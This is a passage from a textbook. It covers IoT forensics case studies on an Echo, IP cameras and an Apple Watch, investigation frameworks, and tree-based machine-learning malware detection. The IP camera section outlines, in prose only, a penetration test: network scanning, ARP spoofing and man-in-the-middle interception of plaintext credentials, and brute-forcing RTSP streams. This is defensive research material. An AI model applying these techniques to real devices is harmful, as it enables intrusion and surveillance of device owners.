personal networks and private, public, community, and hybrid clouds. In the case of cross-
border crimes, the lack of international laws and agreements will pose an issue [4]. 

7.3.2.2 Need for New Laws 
Current laws will be applicable. Other laws will be needed to deal with situations in which 
access to certain devices, such as smart refrigerators, will be needed for investigation, but 
the homeowner refuses to turn them of. A legal framework will be needed in places in 
which a botnet handles the smart devices. Te cloud service provider’s consent will be 
needed to access and reproduce the data on the cloud. 

7.3.3 Static, Elastic, and Live Forensics 

During evidence collection and discovery of the data, marking of the endpoints in the 
cloud is a challenge. Accurate time synchronization is needed for the audit logs and can 
be important source for the investigation; with the involvement of so many interme-
diaries like widespread physical machine, sensor, cloud, and web services, it becomes 
complicated. 

7.3.4 Digital Traces 

Challenges in digital traces as shown in Figure 7.4  involve analysis and gathering traces in 
the network and physical devices. Encryption of the network traf  c is benefcial for users; 
however, it limits the trace capturing from less secure IoT-wares. On physical devices,  
technically challenging trace extraction procedures are required, and they can harm the 
traces or the device itself when examined by an investigator with limited knowledge [5]. 

7.4 CASE STUDY: IoT FORENSICS 
7.4.1 Smart Home Devices 

Smart home devices are at the forefront of the use of IoT in the consumer sector. Home 
assistants are privy to very personal and detailed data of the users and were the subject of 
a study by Li et al. [6]. Tey showed how the smart home devices are the primary target 
of attacks that use these devices to perform DOS attacks as well as data harvesting. T e 
structure of a typical smart home application is shown in  Figure 7.5. 

 Te Li et al. [6] analyzed the SQLite db fles generated by the companion apps of the 
Amazon Echo device by analyzing Alexa-related (Amazon’s voice assistant) caches and the 
subsequent hypertext transfer protocol calls made. Te authors connected to a universal 
asynchronous receiver-transmitter (UART) port in the Echo to read debugging messages 
during the boot, which can be printed to a terminal and determined by the bootloader. 
Tey subsequently built upon this to use a raspberry pi with Alexa pi to interface with the 
mobile companion apps subject of the study and the Alexa voice server (AVS). 
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FIGURE 7.4 Challenges in the evidence life cycle processes. 

FIGURE 7.5 IoT smart home structure. 
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 Afer use, the data generated and the process were analyzed, resulting in the f ndings that 
the data are grouped into fve major categories: device related, connectivity related, user 
activity related, user account related, and other communication data related to protocols. 

 Te data on the companion app also revealed account-related information and device 
details. Te u-boot bootloader of Alexa is open source, and further analysis of the bootloader 
can be leveraged to perform more invasive data extraction on the device. T e f rmware of 
the device can also be dumped using the UART port. By investigating the f rmware, details 
like the productID, clientID, and client secret can be extracted. Furthermore, the data from 
the Alexa app revealed some settings data that can be used to identify an IoT device by accessing 
details like the device name, Wi-Fi network details, and Bluetooth details, among others. 

Because these devices have unique fngerprints, like MAC addresses, these data alone 
can be used to uniquely identify the user. In the event of partial information, these data can 
be used with the data from the other IoT devices in the network to make an educated guess 
about the user. Te authors discovered that the Alexa app also stored location information 
to provide services like current weather, forecasting, maps, and traf  c data. Tese data too 
can be extracted, thus providing approximate geocoordinates of the user. T e Amazon 
Echo stores the user’s speech when triggered by the wake word; this might include private 
conversations that can be analyzed using audible cues. Te investigator can also access the 
history to get more information about the speech requests made by the user. T e compan-
ion app also uncovered 5,163 audio fles used by the application. Te timestamps of these 
audio fles can be used to determine the last operating time of the device. 

 T e frmware dumped from the device when examined allowed the query of the data 
present in it by keywords. Using appropriately crafed queries, the authors were able to 
uncover 1,584 potential email addresses that could contain user accounts and password 
credentials for AVS. Further vulnerability analysis on these services may provide a back 
door or lead to some potential point of exploitation that can be used to gain access to the 
device or to extract information. 

7.4.2 IP Camera 

IP cameras are an emerging IoT application. Tey are connected to a cloud back end, where 
they transmit the data feed and access their services. Tese cameras have P2P connec-
tions, which enable them to connect once and maintain their link to the cloud as shown in 
Figure 7.6. Alharbi and Aspinall [7] highlighted vulnerabilities, including poor encryption 
policies, default passwords, poor or no protection against brute force attacks, unencrypted 
video streams, leakage of user data, poor key management, unencrypted storage of the video 
streams in memory, and weakness in the companion apps of the cameras themselves. 

IP cameras have a very signifcant privacy risk and have a wide range of attack surfaces 
as discussed by Abdalla and Varol [8], attacks such as eavesdropping, man in the middle 
attacks, man at the end attacks, and Wi-Fi snifers, among others. Tese authors [8] have 
also proposed a methodology for penetration testing of an IP camera as shown in  Figure 7.7. 
Initially, the Netdiscover tool from Kali Linux was used to obtain information about all of 
the devices running on the network. From the data, the IP address of the IP camera was 
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FIGURE 7.6 IP   camera architecture. 

FIGURE 7.7  Methodology. 

extracted, and an Nmap scan was run against the device to obtain a list of all of the open 
ports and the services running on them. Nmap was further run with operating system 
f ngerprinting scripts to get more details. Te results showed that port 54/TCP was open 
and was running the real-time streaming protocol (RTSP). 

 Te IP camera supported P2P or peer-to-peer communication. Unless the user changes 
the default credentials, the device is vulnerable to anyone who can use the default 
credentials. Te Abdalla and Varol, however, found that the application and the camera 
have no password security and poor password policies, such that even single alphabetic  
passwords were accepted by the system [8]. Tis type of device is very prone to brute force 
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attacks and requires very few tries to crack. Tis makes them an easy target for botnets, 
which can use them to execute DOS attacks on other systems and to extract personal user 
data from the compromised devices. 

Wireshark and Mitmproxy were used to snif packets, and the Arpspoof tool can then 
be used to route the packets to the attacker’s device and forward them to the destination 
afer logging or modifcations for a man in the middle attack. All of the transmitted data 
between the IP camera, the server, and the android device can be extracted in plain text for 
exploitation. Authentication details from the android app to the server were also extracted 
in plain text, which can be used to compromise the user account and makes the system 
vulnerable.

 Te android app, in the initial stages of connection, sent the details of the network router, 
like the Wi-Fi SSID and password, to the server. Tis opens a pathway to compromise all 
of the connected devices in the user’s home network due to insuf  cient security and puts 
the entire network at risk. Te Mitmproxy tool can also extract packets containing user 
credentials like username and password from the app to server requests. 

Additionally, the android app itself stores the user’s credentials in plain text format on 
the device. Tus, a compromised device can be used to easily access the IP camera by 
extracting the data. Brute force attack on the RTSP links discovered a URL that streams 
the video feed from the device and does not require authentication. 

7.4.3 Smart Watch 

People are using smart watches for their daily activities, from calls, messages, and emails 
to other applications, making them privy to sensitive use data and requiring the same 
security concerns as those of a smartphone. Te smart watches can be exploited to perform 
email fraud, data leaks, and credential thef , among others. Alabdulsalam et al. [9] have 
performed a forensic study on an Apple smart watch and have demonstrated its acquisition 
and analysis in an IoT environment. Te watch in question was watchOS 2.3 and Apple S2 
SiP with a hidden diagnostic port. 

• Logical acquisition: Trough multiple logical acquisitions, the details of the watch 
were extracted from the iPhone’s fle system. Details like the universally unique iden-
tifers, address, name, resolved address, and timestamps for the last device connec-
tion were extracted. Te Nike+ app used a fle named activityStore.db as the master 
database, and it contained the activity data, overview, metrics, and tags. T ese data 
can be used for profling a user and are highly useful in an investigation. T e GPS 
data extracted in the metric and tag tables contained latitude and longitude data from 
the app that were stored along with the timestamps; these can be plotted using an 
application like Google Maps to get a visual view of the user’s location history. User 
details including heart rate, sleep time, and steps data were being collected and stored 
on the Apple Watch without any manual initiation. 

• Manual acquisition: Alabdulsalam et al. then performed a manual acquisition on 
the Apple watch by “swiping” the Apple watch to record and view the contents dis-
played on the screen. 
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Initially, the Apple watch was paired with an iPhone and then unpaired to be the subject 
of further examination and data extraction. All of the text messages, pictures, and iMes-
sages were stored and viewable on the watch afer syncing with the iPhone. 

Applications on the Apple watch were then examined. Te HeartRate app only stored data 
about the current heart rate measurements along with some history data. Te Workout app 
tracked data, including details like the type of the workout, its length, and the date it was per-
formed. Additionally, contacts and voicemail were visible and could be accessed, along with 
log details like the phone number, date, and time. In summary, in the case of physical inac-
cessibility to the Apple watch, manual acquisition can be performed by swiping the screen to 
record and view the contents, and it is currently the only method for doing so [9]. Both acquisi-
tions, however, can only be done when the watch is not secured with a pin number. 

7.5 FRAMEWORKS FOR IoT INVESTIGATIONS 
Due to the very nature of IoT forensics, that is, distributed data, a variety of devices, dif er-
ent types of data, and no specifc standard for the model of the implemented IoT system, 
it is very difcult to propose a forensic framework that can dictate f ne-grained decisions. 
However, it is possible to group the IoT devices and systems by their various parameters 
and propose a framework for the same. 

7.5.1 The Next Best Thing (NBT) Model 

 Tis model puts forward the notion that “an IoT framework must take into account the nature 
of IoT to grow, adapt and mutate” [3] or else the framework might become too structured to be 
of any use. Tis is because the boundary between many types of networks becomes blurry as 
the IoT structure becomes complex and users roam from one network to another. 

During the forensic investigation, the investigator should follow steps that are industry 
recognized and have been tried and tested, unless there is a requirement for the analysis 

FIGURE 7.8 Movement of IoT-wares between networks. 
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of nonstandard or proprietary devices with special tools or techniques. Te next step 
involves examining and extracting the data from the acquired devices. At this stage of the 
investigation, the next best thing (NBT) model is introduced as described in Figure 7.8. 

In IoT forensics, it is very plausible that the devices and other sources of evidence will 
have been removed or are unavailable afer the incident. So, data extraction might not 
always be possible from such devices that were directly afected and are at the epicenter of 
the investigation. Te NBT approach thus proposes a model by which it can be determined 
what devices and sources were available during the incident by analyzing any traces of such 
devices and collecting information that has a lower probability of being tampered with. For 
example, in an IoT investigation considering a device connected to a central cloud, it would 
be much more reliable to extract information from the central, secured cloud where the 
data are stored or processed rather than from the compromised device itself. 

7.5.2 1-2-3 Zones of Digital Forensics 

 Te 1-2-3 zones of digital forensics approach aims to answer the question of where to look 
in digital forensics.  Figure 7.9  shows an overview of the three zones. 

Zone 1: Internal zone —Te internal zone contains all of the sofware, hardware, and net-
works, like Wi-Fi and Bluetooth, that are relevant to the crime scene. Tis zone is catalogued, 
and a proper examination is performed to determine what may or may not be useful to the 
case. An example of this would be smart temperature controllers connected to the network, 
which may only be useful for transmitting their ID and their current state. 

Zone 2: Middle zone —Te middle zone contains all of the hardware and the sof ware 
that provide the medium of communication between the internal network and the exter-
nal network. Tis zone contains all of the public-facing devices of the network and typ-
ically includes the intrusion prevention and intrusion detection systems (IPS and IDS, 
respectively) and the f rewall. 

FIGURE 7.9  Te 1-2-3 zones of digital forensics. 
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Zone 3: Outside zone —Te outside zone is the term for all of the hardware and sof ware 
that are outside of the current network of study. Tis zone thus includes all external pro-
viders such as cloud services, social networks, mobile network providers, internet service 
providers (ISP), gateway, internet, and web-based services, and edge network devices. 

 Tis model of investigation allows investigators to plan and systematically approach  
investigations by identifying the zones with the highest priority on the basis of the nature 
of the investigation. Tis approach reduces complexity and ensures clearly marked bound-
aries and defnitions for the devices aiding in the investigation. 

7.6 COMPARISONS OF INVESTIGATION FRAMEWORKS 
Table 7.1  presents a general overview comparing the aforementioned models with a few 
other proposed models. It shows the various characteristics and scope of the models and 
aims to highlight their ideal use cases compared to others. A more detailed study of these 
models along with a few others, such as top-down forensic methodology and forensic-
aware IoT models (FAIoT), is described by Stoyanova et al. [4]. 

7.7 CONCLUSION AND FURTHER RESEARCH DIRECTIONS 
IoT is increasingly becoming a major part of our lives. Te widespread increase in its usage 
has also led to an increase in the attack vector for cyber-crime-related activities. In this 
chapter, we described the need for IoT forensics and the issues and challenges faced during 
an IoT forensic investigation, the evidence life cycle, and its implications in an investiga-
tion. We described a few case studies, including smart home devices, IP cameras, and smart 

TABLE 7.1 Characteristics and Scope of Investigations Frameworks 
  Model    Key characteristic    Practical scope    Coverage  

1-2-3 zones of digital 
forensics 

Reduces complexity and ensures 
clearly marked boundaries and 
defnitions for the devices 
aiding in the investigation. 

Aimed at the question of where 
to look in digital forensics. It 
proposes a model to save 
valuable time and resources. 

 Partial 

Next best thing 
(NBT) model 

Proposes to collect information 
from the corresponding 
networks connected to these 

Proposes a model for analyzing 
traces of devices and related 
sources if these are unavailable. 

 Partial

devices that are reliable. 
 Forensic-aware IoT 
(FAIoT) 

Considers the heterogeneous 
nature of data generated in an 
IoT system and proposes a 
standard for the same. 

Demonstrates a centralized 
database that can be used to 
store diferent types of data 
generated by the IoT devices. 

 Partial

 Digital forensic 
investigation 
framework for IoT 

Provides a procedure and 
processes that are both 
proactive and reactive and in 
line with international 
standards. 

Provides a standardized 
procedure for forensic 
investigations to streamline the 
procedure.

 Complete 

 Last-on-scene (LoS) 
algorithm

 Tis algorithm proposes that 
investigation of an incident 
should start from the last device 

 Tis algorithm provides a 
methodology to be followed in 
IoT examinations with zones 

 Complete 

in the communication chain. and multiple processes. 
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watches. Tese case studies highlighted the available security services in these devices and 
the attack vector and possible modes of attack that can be carried out on these devices. We 
showed the implications of such attacks for the IoT network itself and for the user data and 
external services. Te case studies proposed a methodology of investigation to be followed, 
each one tailored to its specifc needs. Te next step was the actual exploitation of these 
devices and the examination and analysis of the extracted data. Tis helped to illustrate 
the implications of the security requirements that each of these devices or their compo-
nents needed. Various frameworks for IoT investigations were then discussed, which aimed 
to defne a standardized procedure and instructions applicable to the variety of data and 
devices available in the IoT network to streamline the process of investigation. 

 Tis chapter has highlighted the defnite need for standardization of the IoT systems them-
selves to make it easier to manage and process the data between the devices and thus aid in 
investigations. Te current IoT frameworks have tried to lay the foundation for IoT forensics 
frameworks by proposing methodologies based on the functionality of these devices; how-
ever, this still lacks clear boundaries and usually fuctuates between IoT networks and other 
networks. Te majority of the present frameworks are focused on aspects of the investigation, 
and very few focus on the entire process as a whole. Te extension and improvement of these 
frameworks to propose a set of guidelines that are fexible to accommodate the heteroge-
neous nature of the IoT environment can be the subject of further research. 
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8.1 INTRODUCTION 
Today, our society relies more on technology than previously. While giving the assurance 
of “privacy” and “security” of one’s data, gigantic companies face data breaches every day. 
Investment in tools that curb the loss of information and scan for leaks of data is a necessity for 
any organization. To protect any organization from data pilferage and loss of essential infor-
mation, the feld of cyber security comes into play. Cyber security deals with cyber-crimes 
such as malicious emails, phishing attacks, and data and network breaches. In this chapter, we 
discuss an important tool used in cyber-crimes, called malware. Malware is an umbrella term 
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for worms, trojans, viruses, and damaging programs employed by hackers to obtain impor-
tant information. Certain viruses strike in a sequential manner, such as the Morris worm in 
1988, the Melissa virus in 1999, the ILOVEYOU virus in 2000, the Anna Kournikova virus in 
2001, the Code Red worm in 2001, the Slammer virus in 2003, the Mydoom worm in 2004, the 
Sasser and Netsky worms in 2004, the Storm worm in 2007, the Mirai malware in 2016, and 
the WannaCry ransomware in 2017. Approximately $31 billion in damages is said to have been 
caused by the Sasser and Netsky worms. Malware can be further classifed on the basis of the 
attacker’s objectives, whether they are mass or targeted. To describe a single piece of malware, 
one generally uses four attributes of its operation: propagation (the mechanism allowing mal-
ware to be distributed to multiple systems), infection (installation routine used by the malware 
and its ability to withstand disinfection attempts), self-defense (methods or ways in which the 
malware conceals its presence and shows resistance to analysis), and capabilities (functionality 
of the sofware available to the malware operator). 

Sophisticated malware attacks have been known to disrupt information security 
protection mechanisms and at times also to possess the ability to subvert authentication, 
authorization, and audit functions. Te most typical use of malware is to steal information 
that can be readily monetized, such as criminals anonymously emptying the contents of 
other people’s accounts into their own. Just as the sofware industry has generated a busi-
ness model for the installation, maintenance, and reselling of code that is legitimate, mal-
ware development and distribution to automate cyber-crime have been highly controlled 
by criminal groups, which could also include data thieves who aim to proft from the black 
market for stolen information. A few examples of the potential threats posed by malware 
are company websites being attacked or disabled, identity thef (used for identity spoof ng), 
the thef of sensitive information, unauthorized control of applications running in sys-
tems, and hardware damage ultimately causing hardware failure. 

With attackers becoming more sophisticated and carrying out advanced malware 
attacks, cyber security professionals must be able to detect and tackle such intrusions. An 
analysis is the frst step in detection. To understand the impact of malware on the system, 
diferent analysis techniques are used, such as static, dynamic, code, and memory analysis. 
Established methods of malware detection are incompetent when it comes to the present-
day malware, which has multiple variations and causes extensive disruption. Machine 
learning algorithms and their applications possess the capability to deal with the advanced 
versions of malware. Machine learning models can be trained and used to predict the 
presence or absence of malware in a specif c fle with a high degree of reliability. 

8.2 RELATED WORK 
Bazrafshan et al.  recognized three primary methods for detecting malware: signature, heu-
ristic, and behavior-based methods [1]. Tey have also discussed the features involved in 
malware detection and the hiding techniques used by malware to avoid detection. However, 
this research does not take into consideration the dynamic or hybrid approaches. 

Ye et al.  cover the traditional approaches in machine learning for detecting malicious sof -
ware, which comprise extraction, selection, and classifcation of feature steps [16]. Chief fea-
tures such as the structural entropy of a fle and some other dynamic features are missing. 
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Priyanka Tate, Rachana Sonawane, and Sagar Shinde published a paper on Droid 
Detector that discusses malware detection engines using deep learning with a detailed 
analysis [15]. Felan Carlo C. Gracia and Felix P. Muga have used the random forest classi-
fer in the classifcation of malware families and established the efectiveness of the model 
to an accuracy of 0.9562. Tis has been used as a benchmark for comparison [8]. 

In 2015, Microsof announced its Malware Classifcation Challenge, wherein the ques-
tion posed to the participants was to categorize malware according to nine dif erent classes. 
Te size of the data set provided was half a terabyte when uncompressed, and it comprised 
diferent malware families: Ramnit, Lollipop, Kelihos_ver3, Vundo, Simda, Tracur, Kelihos_ 
ver1, Obfuscator.ACY, and Gatak. Tis data set has been cited in over 50 research papers to 
date and has proven to be a benchmark for research on the behavior of malware. 

Iqbal H. Sarker published a paper on CyberLearning, a type of cyber security modeling 
based on machine learning [13]. Some of the well-known techniques for classif cation 
under machine learning are employed. T e efcacy of the models is determined by 
carrying out diferent experiments on UNSW-NB15 and NSL-KDD, which are known 
security data sets. 

Ikram Ben Abdel Ouahab et al. propose an intelligent cyber security framework for 
malware attacks and integrate it in an uncomplicated interface, in which the sample of 
malware is categorized into its family and, depending on its category, users are warned 
about its destructive behavior [2]. 

Weijie Han et al. discuss the dangers in security due to the spike in internet of things (IoT) 
gadgets, and they propose a framework termed MalInsight, which provides methodical 
profling in terms of three aspects: rudimentary form and low- and high-level behavior [9]. T e 
framework fnds not only obscure malware occurrences but also out of sight and newborn 
malware with high accuracy. 

8.3 THE COMPARE AND INFER RESULTS (CAIR) METHOD 
It is essential to establish and maintain a security policy that can successfully aid in the 
prevention of malware and substantiate its location. To combat malware, the approach 
adopted should be more proactive than reactive. Tere are various ways to accomplish 
this that include creating awareness among users and organizations about downloading 
fles from unreliable sources and implementing email-f ltering sofware to avoid malicious 
attachments. To ensure the development of a foolproof security system against malware, 
knowledge of the application of various machine learning models in malware detection is 
essential. A comparison of a few well-performing models in the industry based on their 
suitability for malware detection will provide sufcient observations and inferences to build 
advanced detection systems. 

8.4 DATA SET 
We have chosen the Brazilian malware data set, which contains a combination of several 
types of data and provides plenty of characteristics about every fle present in it. Data have a 
key role in the creation and training of a system that can predict whether sofware is secure 
or malign.  Figure 8.1  shows an overview of the data set using pandas info() function. 
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FIGURE 8.1 Brief overview of the data set through pandas info() function. 

A brief rundown of the data suggests that it is not a cleaned data set. Some columns are 
lacking large amounts of data entries, and this lost data will have to be dealt with. T e last 
line of the image reveals that the variables are foat (decimal), integer, and object data types. 
It is to be noted that the object data types here are strings, because learning algorithms have 
limited capability to comprehend only numbers. Te strings will have to be preprocessed 
before the data are fed to the models, in a way in which the meaning of the string or the 
weight of whether a particular word is there remains unchanged afer the conversion. 

A handful of the various features of the data represented by columns seem recondite, 
implying the need for deeper study of the same. In addition, there are many redundant 
values in the data set, to the extent that a few of the columns have only one value. Columns 
like these do not add any special meaning or weight to the model’s decision-making process. 
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To better understand the various features of the data given, we refer to Microsof ’s docu-
mentation (Shekokar et al., 2015): 

• BaseOfCode is the relative address to the image base of the section at which the code 
starts when it is loaded into the processor’s memory. 

• BaseOfData is the relative address to the image base of the section marking the 
beginning of the data when the same are loaded into memory. 

• Characteristics consist of fags that represent the attributes of the specif ed f le. 
Various fags have been defned to properly show the properties of a given data f le. 

• DllCharacteristics, like the preceding characteristics, represent the properties of the 
DLL fles. More on what DLL fles are later. 

• Entropy can be simply defned as a gauge of uncertainty or randomness in a system. 

• FirstSeenDate, as the name suggests, it is the date this fle is frst found on the network. 

• Imported DLLs is a string of all of the DLL fles a particular fle will employ. It will 
give an idea as to what this application aims to do while being installed. 

• Imported symbols is a string of the set of symbols the data fle uses. Symbols are 
short forms of the various storage class functions that are called or run by the appli-
cation. bf stands for begin function. 

• Label: 0 implies the application is safe; 1 means that the application contains malware. 

• Machine is a value picked from a set of values that enumerate the type of the CPU. 

• NumberOfRvaAndSizes is a feld of the optional headers given to images to ensure that 
no probe for a particular data entry goes beyond the limit set in the optional header. 

• NumberOfSections describes the proportions of the section table, which succeeds 
the headers. 

• Magic is a number that is used to pinpoint the current status of an image f le. 

8.5 DATA PREPROCESSING 
Data preprocessing is the procedure of data manipulation, morphing the data into a format 
in which they can be directly fed as input into the models for their training procedure. 
Tis process is hardly unique to any application of machine learning, as diferent data need 
diferent transformation techniques. Data preprocessing deals with data cleaning, data 
arrangement, and data formatting. Afer a brief analysis of the data is run, the preprocessing 
of the Brazilian malware data set begins. Te procedure requires several python libraries, 
like pandas, numpy, itertools, sklearn.feature_extraction, and sklearn.preprocessing. T e 
data set is imported, and overview functions are run on it (if the number of entries does 
not match in the columns, it implies that the column has not a numbers (NaNs) or missing 
values). Figure 8.2a and 8.2b displays some statistics on the data using pandas functions. 
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FIGURE 8.2 Running pandas describe() function on the data set. Output has been split into two 
parts, namely (a) and (b). 

FIGURE 8.3 Plot of a heat map of the data set. 
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FIGURE 8.4 Method of data conversion. 

Figure 8.3  shows a heat map plot of the data set, depicting the correlation of each data 
feature with the other. 

Columns that have too many missing values (NaNs) or too many unique values (same min 
and max values, also whitespaces in the heat map) prove unfruitful to model training and are 
hence dropped. Tere are also a few columns that contain data that will seem rather unimport-
ant or that are not always available about a fle. Removal of unnecessary and outlying data 
features is carried out, which marks the end of data cleaning. Te columns containing non-
numeric data are dealt with next for models to understand them better. Te course of action 
suggested for the columns ImportedSymbols and ImportedDLLs is shown in Figure 8.4.

 Te strings present in these columns are split or broken up into a list of words. Of the 
words generated, a “bag of words” or vocabulary is created consisting of the N most fre-
quently occurring words; the value of N would be decided experimentally. A certain weight 
is given to each word of the vocabulary using a TFIDF transformer, and the words having 
a weight below a certain threshold are removed. Te vocabulary is converted into columns 
storing binary data—1 if the word is there and 0 if absent—from the string data. As a fur-
ther trimming process, the last phase of the fowchart shown in Figure 8.4  is also continued 
while considering another factor of the data set—the sparsity. Te method used to achieve 
the conversion of the strings to numbers is easily explained in  Figure 8.5. 

 Afer the data frames are joined, a resultant data frame is created that has data ready 
to be split into the training, testing, and validation sets and can be fed into the learning 
algorithms. Tis marks the completion of the data set preprocessing. 

8.6 THE MODELS 
With the data set cleaned, preprocessed, and ready to be trained on, we will now provide a 
brief introduction to the four tree-based algorithms, that is, the decision tree, the AdaBoost, 
the random forest, and the XGBoost models. For the given problem statement and the data set, 
the models to be discussed will be used as classifers. Falling under supervised learning, clas-
sifcation is the process of division of the data set into various categories or groups by adding a 
label. Whenever a training data set is given to a classifcation algorithm as input, it generates a 
model or a classifer learned enough to classify or label data on its own. Te data that are taken 
for analysis are segregated on the basis of conditions and are later used for making predictions. 

8.6.1 Decision Tree 

Also commonly referred to as the tree-structured classifer, the decision tree model rep-
resents a function that takes as its input a vector of attribute values and returns a single 
output value, or a decision taken on the basis of values given. It can be used for categorizing 
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FIGURE 8.5 Splitting and rearranging the data frames. 

and for solving problems on the basis of regression. However, the decision tree plays a 
crucial role as a classifer model the majority of the time. One can fnd several real-life 
examples of the decision tree because it is used in decision-making in various areas such 
as business, fnance, healthcare, and risk management. Te decision tree reaches a deci-
sion by asking a yes/no question followed by a sequence of tests. It can also be constructed 
using numeric data. Te tree is traversed from the top to all the way down until it comes to 
a point at which it is not possible to go any further. An example would be when one dials 
the toll-free number of a company, afer which one gets redirected through the asking of 
multiple questions until the authority who can solve the query has been reached. 

At times, the question may arise whether to opt for a tree model or a linear model. 
Tis can be determined on the basis of the data that are being dealt with: if there is high 
nonlinearity and the independent and dependent variables have high complexity, then a 
tree model will outperform a simple regression model. Te complexity of a decision tree 
increases when it combines numeric data with yes/no data. 
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 Te decision tree starts with a root and branches into numerous solutions resembling a 
tree. A tree comprises the following. 

• Nodes: Test for the value of a certain attribute .

• Edges/branches: Correspond to the outcome of a test and connect to the next node
or leaf.

• Leaf nodes: Terminal nodes that predict the outcome (represent class labels or class
distributions) . 

• Root node : Te base node of the tree, from which the entire tree starts. It receives the
entire data set or sample and splits the data set on the basis of a specifc chosen condi-
tion. Tus, the splitting action is performed by the root node.

• Branches : Tey can be identifed on the basis of the fact that they have arrows com-
ing toward them and arrows going away from them.

• Leaf nodes : Tey can be identifed on the basis of the fact that they only have arrows
coming toward them but no arrows going away from them. Tey mark the end of the
tree, past which further segregation is not possible.

Figure 8.6  shows how the decision tree may work on the data set. 
One of the most common decision tree algorithms is the ID3 algorithm or the Iterative 

Dichotomizer 3. To dichotomize means to divide into two completely opposite things. Af er 
every reiteration, the process splits the features into two categories of prime importance for 
the construction of the tree. Te node of the tree that becomes the decision node is the one 
that is the main attribute, based on estimation of information gain and entropy. A recal-
culation is carried out to fnd out the scores of entropy and gain among other attributes. 
Te process goes on until a conclusion is attained for a specifc branch. Information gain 
is defned as the amount of information provided by the answer to a specifc question. It 
plays an important role in deciding which attribute should be selected as the decision node. 
Entropy is the measure of the amount of uncertainty present in the information. Equations 
8.1 and 8.2 are the mathematical representations of the two quantities. 

 (8.1)   

(8.2) 

One of the drawbacks of the decision tree is its likelihood of overftting on the input. Nearly 
every time, the frst training done on a decision tree classifer is reported as an overf t. T e 
model tries to learn the training data rather than to be able to generalize it, and one must 
be mindful of the same while training the decision tree classifer. When training a decision 
tree, one must be very careful of the split between the training and the testing sets. If the two 
are not homologous, the model is bound to create prediction errors. Te decision tree algo-
rithm cannot ft all types of data sets—at times, the tree generated upon training becomes 
too complex, and the model does not function accurately. 
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FIGURE 8.6 Plot of the decision tree generated by training on the data set. 
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8.6.2 AdaBoost 

Introduced by Yoav Freund and Robert Schapire, AdaBoost is usually applied with various 
algorithms to boost their functioning [14]. It boosts lacking algorithms into strong ones 
and helps to reduce bias and variance. It aims to predict results with high accuracy by a 
combination of rough and average inaccurate rules of the thumb. 

     Te few parameters related to the AdaBoost model are the following. 

• base_estimatorobject: It is here that the base ensemble is built. It has a default value 
that equals none. 

• n _estimators: It is the highest number of estimators at which boosting ends. In a 
perfect ft scenario, the process stops early. It gives integer values. 

• learning_rate: It has a default value of 1, and it decreases the input of every classif er. 
Tere is a trade-of between learning_rate and  n_estimators. It gives f oat values. 

• algorithm{SAMME, SAMME.R} : Te default is SAMME.R; it converges faster than 
SAMME and a has test error much lower with lesser algorithms of boosting. 

Boosting is a form of the sequential ensemble method, and it is a technique that proves use-
ful to exploit the dependency that exists between the models. Let training data consisting of 
several instances/tuples/samples be assumed. With each instance, there is some amount of 
weight W1, W 2, . . . WN associated. Suppose that all of these weights are equal initially, that 
is, W1 = W2 = W3 . . . = WN . Tis implies that, during random sampling, all of the instances 
have an equal probability of being picked for consecutive subsets of the main data set that 
are created. On the basis of the various subsets of the data set that have been sampled, we 
can label them as S1, S2, S3. Each is fed individually to model M1 and used for testing pur-
poses. If N number of classes exist in the main data set, when these sampled sets are fed 
into the model, it will determine to which specifc class among  N that each instance of the 
sample would belong. Te instances of the training data set are sampled and fed to model 
M1, which carries on the process of classif cation. Although it continues the classif cation, 
there is no guarantee that it will have classifed all of the instances correctly; misclassif ca-
tion of instances may occur. Before feeding the next sampled set S2 to model M2, it is crucial 
that one update the weights in the main data set and focus mainly on the weights of those 
instances that have been misclassifed in the previous round. Tis ensures that, during the 
sampling of S2, the probability that previously misclassifed instances will be selected is 
higher in comparison to the other instances due to their increased weighs as a result of the 
update at the end of the prior round. Tis process is iterative and repeats until it reaches 
the very last model MN. Here it is important to note that models M1, M2, . . . MN are weak 
models that lack accuracy. Tere may be cases of miscategorization when the full data set 
is passed during testing. Finally, combinations of the models that are weak are singly given 
the identical tuple belonging to the testing data set. If we apply the notion of the maximum 
number of votes, the common result at the output of all of the individual weak models is 
taken into account for making the fnal forecast and class assignment by the last classif er. 
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FIGURE 8.7 Plot of the AdaBoost classifer tree afer training on the data set. 

 T e classifer does not have its own forecast method; the model determines its perfor-
mance on the basis of the type of learners present in the group. Te training time taken 
for the model is huge because of the ensemble.  Figure 8.7  shows the implementation of the 
AdaBoost classifer’s decision process. 

8.6.3 Random Forest Classifi er 

Outperforming the normal decision trees and rectifying their tendency to overf t the 
training data set, a random forest is a result of a group of trees taking their votes into 
consideration for the most popular class. Tim Kan Ho produced the frst algorithm for 
random decision forests in 1995, and Leo Brieman further extended this algorithm so 
that it is a combination of Ho’s proposed characteristics and Brieman’s idea of Bootstrap 
AGGregatING, also referred to as bagging [3][10]. 

Parameters and hyperparameters are the following. 

• n _estimators : Te number of estimators, or decision trees to be used in the random 
forest. Tis parameter takes only integer values, and its default is 100. More estimators 
may seem to equate to greater confdence in the correctness of the output. However, too 
many trees may lead to slower training, increasing the computational time required. 

• criterion{“gini,” “entropy”}, default = “gini” : Te criterion is a tree-specif c param-
eter. It is the function used to measure the quality of a split. Tere are two accepted 
values for this parameter: “gini,” implying the measurement of Gini Impurity, and 
“entropy,” implying the use of information gain to determine the quality of a split. 

• Max_depth: Another tree-specifc parameter; this one specifes the largest possible 
height (or depth) of a tree. Te parameter accepts only integers, with “none” being the 
default. If the default value is implied, then the nodes of a tree continue to grow until all 
of the leaves are pure or until all leaves contain less than min_samples_split samples. 

• Min_samples_split : Te minimum number of samples in a node required to split the 
node into more nodes. Tis parameter accepts multiple types of values: if an integer 
is fed, then the parameter is set as the minimum number of the samples. If a f oat is 
fed, that is, the parameter is a fraction, then the product of the parameter and the 
number of samples is rounded up, and the result is accepted as the minimum number 
of samples. 

• Min_samples_leaf : Te minimal number of samples necessary to be a leaf node. Only 
if the split point leaves a minimum of min_samples_leaf training samples in every 
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right and lef branch will it be considered. Consider min_samples_leaf as the least 
number if it is a considering-all-the-points integer. When it is a foat, then min_sam-
ples_leaf is a fraction and the minimal number of samples for each node is deter-
mined by the rounded-up product of the foat and the number of samples. 

• Max_leaf_nodes: If none, then there are an unlimited number of leaf nodes. Trees 
are grown using max_leaf_nodes in the best manner. 

 Te random forest classifer comprises multiple decision trees that vary from each other 
in structure. In fact, randomness has been introduced due to the dependency of each tree 
in the forest on the values of independently sampled, random vectors, with the same dis-
bursement for all trees in the forest. Te original data set (OD) is used as the data set that is 
needed in the initial stages for training purposes. A second data set, termed the bootstrap 
data set (BD), is created by random sampling of the original data set. Te duplication of a 
